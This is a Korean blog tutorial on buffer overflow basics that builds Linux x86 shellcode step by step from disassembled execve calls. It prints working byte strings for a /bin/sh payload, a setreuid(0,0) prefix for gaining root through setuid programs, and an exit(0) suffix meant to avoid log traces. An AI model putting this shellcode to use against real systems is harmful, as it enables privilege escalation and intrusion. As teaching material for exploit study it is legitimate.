본문 바로가기
Security/Pwnable

Buffer Overflow 원리 - 쉘코드

by J0DEV 2021. 8. 6.
반응형

쉘 코드 만들기

쉘코드를 만들어보자.

쉘 코드란 쉘(shell)을 실행시키는 코드이다. 쉘은 흔히 명령 해석기라고 불리는데 일종의 유저 인터페이스라고 보면 된다.

사용자의 키보드 입력을 받아서 실행파일을 실행시키거나 커널에 어떠한 명령을 내릴 수 있는 대화통로이다. 쉘 코드는 바이너리 형태의 기계어 코드이다. 우리는 쉘 코드를 만들어야 하는 이유는 실행중인 프로세스에게 어떠한 동작을 하도록 코드를 넣어 그 실행 흐름을 조작 할 것이기 때문에 역시 실행 가능한 상태의 명령어를 만들어야 하기 때문이다.

 

만약 공격자가 기계어 코드에 능통하다면 직접 기계어 코드를 작성해도 좋을 것이다. 하지만 지금은 CPU instruction의 종류가 늘어났고 너컬이 복잡해져서 아주 힘든 작업이다. 그래서 C를 이용하여 간단한 프로그램을 작성한 다음 컴파일러가 변환시켜준 어셈블리 코드를 최적화 시켜 쉘 코드를 생성할 것이다.

쉘 코드를 만들기 위해서 먼저 쉘을 실행시키는 프로그램을 작성한다.

그런 다음 어셈블리 코드를 얻어내고 불필요한 부분을 빼고 또 라이브러리에 종속적이지 않도록 일부 수정을 해준 다음에 바이너리 형태의 데이터를 만들어낼 것이다.

 

쉘 상에서 쉘을 실행시키려면 ‘/bin/sh’라는 명령을 내리면된다. 마찬가지로 쉘 실행 프로그램 역시 이 명령을 내리는 것과 똑 같은 일을 하도록 해주면 된다.


 

쉘을 실행시키기 위해서 execve()라는 함수를 사용했다. 이 함수는 바이너리 형태의 실행파일이나 스크립트 파일을 실행히키는 함수이다. 이제 이 프로그램이 컴파일되어 생성될 바이너리 코드를 얻어야 한다. 귀찮게도 execveI()함수 때문에 이 프로그램은 컴파일되면서 Linux libc와 링크되게 된다. execve()의 실제 코드는 libc에 들어있기 때문이다. 따라서 execve()가 어떤 일을 하는지도 알아보기 위하여 static library 옵션을 주어 컴파일 해야한다.

 

 

Dynamic Link Library & Static Link Library

 

리눅스뿐만 아니라 대부분의 운영체제들이 Dynamic Link Library와 Static Link Library를 지원하고 또한 대부분의 컴파일러들이 이를 지원한다.

 

Dynamic Link Library는 동적 링크 라이브러리라고 해석되고 있다. 응용프로그램의 실행에 있어서 실제 프로그램의 동작에는 매우 많은 명령들이 사용된다. 그리고 많은 응용프로그램들이 공통적으로 사용하는 명령어들이 있다.

예를 들어 C언어의 printf()함수를  살펴보자. 이 함수는 어떤 문자열을 출력하는 함수이다. 이는 문자열을 받아서 특정한 위치의 값들을 채운 다음에 화면이나 표준 출력, 소리 등의 방법으로 출력할 것이다. 이러한 일을 수행하는 기계어 코드가 어떤 형태로 만들어져 있을 것이다. 어떤 두개의 프로그램이 있을때 ex1과 ex2라는 두 개의 프로그램에서 printf()함수를 쓴다고 생각해보자. ex1도 printf()기능의 기계어 코드를 포함하고 있고 ex2도 printf()기능의 기계어를 포함하고 있다면 같은 기능을 하는 기계어 코드가 서로 다른 실행파일에 모두 포함되어 있게 되는 것이다. 이것은 저장 공간의 낭비이다. 그래서 운영체제에는 이렇게 많이 사용되는 함수들의 기계어 코드를 자신이 가지고 있고 다른 프로그램들이 이 기능을 빌려 쓰게 해 준다.

그래서 ex1도 ex2도 printf() 기계어 코드를 직접 가지고 있지 않고 printf()코드가 필요할 때마다 운영체제에게서 코드를 빌려쓰는 것이다.

 

따라서 응용프로그램 프로그래머는 이 기능을 직접 구현할 필요가 없고 그냥 호출만 해주면 되는 것이고 컴파일러도 직접 컴파일러 할 필요없이 호출하는 기계어 코드만 생성해 주면 된다.

이러한 기능들은 라이브러리라고 하는 형태로 존재하고 있으며 리눅스에서는 libc라는 라이브러리에 들어있고 실제 파일로는 .so 혹은 .a라는 확장자를 가진 형태로 존재한다.

 

윈도우즈에서는 DLL(Dynamic Link Library) 파일로 존재하게 된다. 하지만 운영체제의 버전과 libc의 버전에 따라 호출 형태나 링크 형태가 달라질 수 있기 때문에 영향을 받지 않기 위해서 printf() 기계어 코드를 실행파일이 직접 가지고 있게 할 수 있는데 그 방법이 static link library이다. 다만 dynamic link library 방식보다 실행파일의 크기가 당연히 커질것이다. 

 

 

 

 

 

 

그러면 이제 맨 위의 예제 코드 프로그램에서 호출하는 execve()함수의 내부까지 들여다 보기 위해서 Static Link Library 형태로 컴파일 한 후 기계어 코드로 보자.

 

예제 코드를 static link library(-static)로 컴파일 하여 실행파일을 만들었다. 그리고 objdump를 이용하여 기계어 코드를 출력하게 하였다. objdump로 덤프하면 엄청 긴 내용이 나온다. 따라서 필요한 부분 execve()함수 부분만 보기 위해서 grep을 하였고 execve()부분을 보니 32라인이면 다 보이기 때문에 -A 32옵션을 주어 32라인만 출력하게 하였다.

 

 

 

 

덤프된 코드는 세 개의 칼럼으로 출력되는데 맨 원쪽은 address를 나타내고 가운데는 기계어 코드, 맨 오른쪽은 어셈블리 코드를 나타낸다. (참고로 기계어 코드는 어셈블리 코드와 1:1 대응이 된다.)

 

execve()함수 내에서 보면 함수 프롤로그를 하고 함수 호출 이전에 스텍에 쌓인 인자값들을 검사하고 이상이 없으면 인터럽트를 발생시켜 시스템 콜(system call)을 한다. 시스템 콜은 운영체제와 약속된 행동을 해 달라고 요청하는 것이다. 

 

execve()함수는 인터럽트를 발생시키기 이전에 범용 레지스터에 각 인자들을 집어넣어줘야한다.

 

 

 

 

그래서 위와같은 작업을 하는데 정리해보면

mov 0x8(%ebp), %ebx
mov 0xc(%ebp), %ecx
mov 0x10(%ebp), %edx

를 하는 것이다.

 

이것은 ebp 레지스터가 가리키는 곳의 +8 byte 지점의 값을 ebx 레지스터에 넣고 +12byte 지점의 값을 ecx 레지스터에 넣고, +16 byte 지점의 값을 edx레지스터에 넣어라는 뜻이다.

 

ebp함수 프롤로그에 의해서 execve()가 호출되고 이전 함수의 bp를 push하고 난 다음의 esp가 가리키던 곳을 가리키고 있다. 따라서 ebp + 0byte지점은 이전 함수의 ebp가 들어가 있을 것이다. 그리고 ebp+4 byte 지점은 return address가 들어가 있을 것이고, ebp + 8, ebp + 12, ebP + 16 지점은 execve()함수가 호출되기 이전 함수에서 execve()함수의 인자들이 역순으로 PUSH되어 들어갔을 것이다. 

 

그런 다음

 

 

 

 

eax 레지스터에 11을 넣고 int $0x80을 하였다. 이 과정이 system call 과정이다. int $0x80은 운영체제에 할당된 인터럽트 영역으로 system call 하라는 뜻이다. int $0x80을 호출하기 이전에 eax 레지스터에 시스템 콜 벡터를 지정해 줘야 하는데 execve()에 해당하는 값이 11(0xb)인 것이다.

정리해서 다시 말하면 11번 시스템 콜을 호출하기 위해 각 범용 레지스터에 값들을 채우고 시스템 콜을 위한 인터럽트를 발생시킨 것이다.

 

그럼 이제 execve()를 호출하기 이전에 main()에서는 어떤 처리를 했었는지 알아보자.

 

main()함수에서는 execve()를 호출하기 위해서 세번의 push를 한다. 이는 execve()의 인자로 넘겨주는 값이라는 것을 짐작할 수 있다.

 

 

 

제일 처음 ‘/bin/sh’라는 문자열이 들어있는 곳의 주소(0x808ef88)를 ebp레지스터가 가리키는 곳의 -8byte 지점(0xffffffff8)에 넣는다. 그리고 ebp -4 byte 지점(0xfffffffc)에는 0을 넣는다. 이것은 예제코드에서

shell[0] = “/bin/sh”;
shell[1] = NULL;

와 같은 역활을 한다.

그리고 이제 이 값들을 PUSH하기 시작한다.

push $0x0

NULL을 PUSH하고

lea 0xfffffff8(%ebp),%eax
push %eax

ebp+8의 주소를 eax 레지스터에 넣은 다음에 eax 레지스터를 PUSH한다. 포인터를 PUSH한 것이다.

pushl 0xfffffff8(%ebp)
call 804c75c <__execve>

ebp+8의 값을 PUSH하고 execve()를 호출한다.

 

이상의 수행을 마치고 나면 segment내의 모습은 아래와 같다.


 

 

 

shell 변수는 char *형의 배열 이름이다. 따라서 shell 자체는 char *들이 위치한 곳을 가리키고 있을 것이다.

위의 그림의 ebp-4와 ebp-8이 바로 포인터들이 모여 있는 곳이다. shell[0]은 ‘/bin/sh’라는 문자열이 있는 곳의 주소를 가지고 있다. ‘/bin/sh’는 정의된 값이므로 data segment에 위치할 것이다. 그곳 어딘가의 주소가 0x808ef88이라고 objdump를 하여 알 수 있었다. main()함수에서 각 값들을 PUSH하여 스텍에는 ‘/bin/sh’가 있는 주소, shell의 주소, 그리고 0이 들어가 있다.

 

그러면 이제 쉘을 띄우기 위한 과정이 명확해 졌다.

  1. 스틱에 execve()를 실행하기 위한 인자들을 제대로 배치하고
  2. NULL과 인자값의 포인터를 스텍에 넣어두고
  3. 범용 레지스터에 이 값들의 위치를 지정해 준 다음에
  4. interrupt 0x80을 호출하여 system call 12를 호출하게 하면 된다.

 

위의 코드에서는 ‘/bin/sh’가 data segment에 저장되어 있기 때문에 data segment의 주소를 이용할 수 있었지만 buffer overflow 공격 시점에서는 ‘/bin/sh’가 어느 지점에 저장되어 있다는 것을 기대하기도 어렵고 또한 있다고 하더라도 저장되어 있는 메모리 공간의 주소를 찾기도 어렵다.

따라서 직접 넣어주어야 할 것이다.

push $0x0                 // NULL을 넣어준다.
push ‘/sh\0’               // /sh\0 문자열의 끝을 의미하는 \0
push ‘/bin’                 // /bin문자열. 위와 합쳐서 /bin/sh\0가 된다.
mov %esp, %ebx      // 현재 스틱 포인터는 /bin/sh\0를 넣은 지점이다.
push $0x0                 // NULL을 PUSH
push %ebx                // /bin/sh\0의 포인터를 PUSH
mov %esp, %ecx       // esp 레지스터는 /bin/sh\0의 포인터의 포인트다.
mov $0x0, $edx        // edx 레지스터에 NULL을 넣어 줌.
mov $0xb, %eax       // system call vector를 12번으로 지정. eax에 넣는다.
int $0x80                  // system call을 호출하라는 interrupt 발생

 

 

이러한 코드를 만들어 내면 된다.

push ‘/sh\0’와 push’/bin’은 실제 어셈블리코드가 아니다 그냥 개념적으로 적인 것이다.

(이를 어셈블리 코드로 만들려면
push $0x0068732f
push $0x6e69622f
으로 해 줘야 한다. 문자를 16진수 값을 바꾼것이다. - 물론 little endian 순서)

이제 이 코드가 제대로 동작하는지 컴파일 해 보도록 하자.

이 코드는 C 프로그램 내에 인라인 어셈블(inline assemble)로 코딩 할  것이고 main()함수 안에 들어갈 것이기 때문에 함수 프롤로그가 필요없다. 컴파일러가 알아서 함수 프롤로그를 만들어줄 것이기 때문이다. ‘/bin/sh’를 16진수 형태로 바꾸고 main()함수 안에 넣어서 작성한 sh01.c의 코드는 아래와 같다.

 

 

 

 

 

NULL의 제거

 

여기서 문제점이 발견되었다.

이 기계어 쉘 코드를 얻은 다음에 이것을 문자열 형태로 전달할 것이다. C언어에서는 char형 변수에 바이너리 값을 넣는 방법을 제공하고 있다.

바로 char c=“\x90”과 같은 형태로 값을 넣어주면 컴파일러는 “\x90”을 이렇게 생긴 문자열로 보지 않고 16진수 90으로 인식하여 1byte 데이터로 저장한다.

그래서 기계어 코드로 만들어진 쉘 코드를 char형 문자열로 전달할 것이다.

그런데 push 0x0와 같은 어셈블리 코드는 기계어 코드로 6a 00 이다. 이것을 문자열 형태로 전달하려면 char a[] = “\x6a\x00” 과 같이 해 주어야 한다.

하지만 하지만 char형 배열, 즉 문자열에서는 0의 값을 만나면 그것을 문자열의 끝으로 인식하게 된다.

즉 0x00 뒤에 어떤 값이 있더라도 그 이후는 무시해버린다. 0x00와 같은 기계어 코드는 엄청 많이 만날수 있다.

따라서 귀찮지만 \x00인 기계어 코드가 생기지 않게 만들어줘야 한다.

또한  mov $oxb,%eax 코드 또한 00 를 만들어내기 때문에 이것도 고쳐줘야한다.

이러한 문제점을 해결하여 위의 어셈블리 코드를 다시 작성하면 아래와 같게 만들 수 있다.

xor %eax,%eax         // 같은 수를 XOR하면 0이 된다. 즉 NULL이다.
push %eax                // NULL을 PUSH
push $0x68732f2f    // /bin/sh나 /bin//sh나 둘 다 shell을 띄운다.
push $0x6e69622f   // /bin 문자열. 위와 합쳐서 /bin//sh가 된다.
mov %esp,%ebx       // 현재 스텍포인터는 /bin//sh를 넣은 지점이다.
push %eax                // NULL을 PUSH
push %ebx                // /bin//sh의 포인터를 PUSH
mov %esp,%ecx        // esp레지스터는 /bin//sh 포인터의 포인트다.
mov %eax,%$edx     // edx레지스터에 NULL을 넣어 줌
mov $0xb,%al           // system call vector를 12번으로 지정. al에 넣는다.
int $0x80                  // system call을 호출하라는 interrupt 발생

 

 

 

 

제법 많은 부분이 바뀌었다.

덤프한 모습을 보면 우리가 필요로 하는 코드 xor %eax,%eax (8048304) 이후 부터 int $0x80 (804831b) 사이의 기계어 코드에는 00이 없다. 따라서 NULL로 인식될 염려가 없게 되었다.

이제 남은 것은 이것을 문자열화 시키는 것이다.

그러기 위해서는 \x90형식으로 바꾸어줘야 한다.

덤프한 코드에서 만든 부분만의 기계어 코드를 추출하면

31 c0
50
68 2f 2f 73 68
68 2f 62 69 6e
89 e3
50
53
89 e1
89 c2
b0 0b
cd 80

이것을 문자열 배열에 넣기 위해 다시 가공하면

"\x31\xc0”
“\x50”
“\x68\x2f\x2f\x73\x68”
“\x68\x2f\x62\x69\x6e”
“\x89\xe3”
“\x50”
“\x53”
“\x89\xe1”
“\x89\xc2”
“\xb0\x0b”
“\xcd\x80”

이렇게 만들어낼 수가 있다.

“\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80”

 

이제 이코드를 실행시켜보자.

 

 

이런 방식으로 쉘 코드를 실행시킬 수 있다.

 

동작원리를 알기 위해 gdb를 사용하여 disassemble해보면

 

 

함수 프롤로그가 수행되고 나서

이 코드가 수행된다.

 

먼저 ebp-4byte 지점의 address를 wax 레지스터에 넣는다. 그런 다음 그 address에 8을 더한다. 이것은 ret = (int *)&ret +2;과정이다.

ret라는 포인터 변수의 address를 찾아서 8바이트 상위의 주소로 만든다.

ebp+4지점에는 return address가 들어있다.

그런다음 return address가 들어있는 곳의 주소값을 bp -4byte 지점에 넣어준다. 거꾸로도 해준다.

그리고 eax레지스터 값이 가리키는 지점에 $0x80493d4을 넣어준다.

0x80493d4에는 char sc[] 데이터가 있는 지점이다.

따라서 main()함수고 종료되고 EIP는 return address가 가리키는 지점에 있는 명령을 가리키게 될 것이다.

그것을 직접 만든 쉘 코드가 들어있는 위치를 가리키게 했으므로 이제 시스템은 쉘코드를 수행하게 되는 것이다.

 

 

또 다른 방법

쉘 코드를 저장할 변수를 int형으로 만들어주면 된다.

다만 여기서 주의할 점은 little endian 순서로 정렬해야 하며 int형이므로 4byte 단위로 만들어줘야 하는 것이다.

int형 배열을 이용하여 실행하든지 char형 배열을 이용하여 실행하든지 상관은 없다.

다만 int형 배열을 사용할 때에는 objdump를 이용하여 얻은 기계어 코드를 little endian 방식으로 재정렬 해줘야 한다는 귀찮음이 따르고 또한 대부분의 buffer overflow 공격 방법이 문자열형 데이터 처리의 실수를 이용하는 것이므로 char형으로 생성하는 것이 더 편하다.

단지 바이너리 데이터를 메모지에 넣고 실행시키는 방법을 소개한 것이므로 알고만 있으면 된다.

 

 

setreuid(0,0)와 exit(0)가 추가된 쉘 코드

buffer overflow 공격이 성공 했을 경우 공격자는 쉘을 획득할 수 있게 될 텐데, 쉘 획득 이후보다 많은 권한을 얻고 싶어 할 것이다. 따라서 root권한을 얻을 수 있는 방법을 모색하게 된다. root권한을 얻을 수 있는 방법은 setuid 비트가 set되어 있는 프로그램을 이용할 수 있다. 그래서 setuid 비트가 set되어 있는 프로그램을 오버플로우시켜 쉘 코드를 실행시키고 루트의 쉘을 얻어낼 방법이 필요하다.

 

위에서 작성한 쉘 코드 실행 프로그램은 root권한을 얻어주지 못한다.

 

root소유의 프로그램의 권한을 상속받지 못했기 때문이다. 따라서 쉘 코드에 소유자의 권한을 얻어내는 기능이 필요하다.

setreuid()함수를 이용하여 프로그램 소유자의 권한을 얻어올 수가 있게 되는 것이다. 따라서 쉘 코드에 setreuid()가 하는 기계어 코드를 추가해 줘야한다.

기계어 코드를 찾는 방법은 앞에서 살펴본 execve()와 동일하게 수행하면된다.

찾아진 기계어 코드와 어셈블리 코드는

"\x31\xc0"        // xorl %eax,%eax
"\x31\xdb"        // xorl %ebx,%ebx
"\xb0\x46"       // movb $0x46,%al
"\xcd\x80"       // int $0x80

이다.

 

이것을 만들어진 쉘 코드 앞부분에 단순히 붙여 넣어주기만 하면

"\x31\xc0"
"\x31\xdb"
"\xb0\x46"
"\xcd\x80"
"\x31\xc0"
"\x50" "\x68\x2f\x2f\x73\x68" "\x68\x2f\x62\x69\x6e" "\x89\xe3"
"\x50" "\x53" "\x89\xe1" "\x89\xc2”
"\xb0\x0b”
"\xcd\x80"

 

이 된다. 

 

한편 좀더 완벽한 쉘 코드를 만들기 위해서 exit(0)가 필요할 수 있다. 이것은 공격자가 overflow 공격을 수행하고 난 뒤 프로그램의 정상적인 종료를 위해서이다. 만약 정상 종료를 시키지 못하면 에러 메시지가 발생할 수도 있고 이 메시지는 로그 파일 혹은 관리자에게 그대로 전달될 수도 있다. 깔끔한 마무리를 위해서 exit(0)를 넣어주자.

 

"x31\xc0\xb0\x01\xcd\x80”

그리고 이를 이용하여 다시 코드를 수정하면

 

이렇게 하여 프로그램 소유자의 권한으로 쉘을 실행시키는 쉘 코드를 생성할 수가 있다.

 

 

출처: 해커 지망생이 알아야할 bof 기초 -달고나
반응형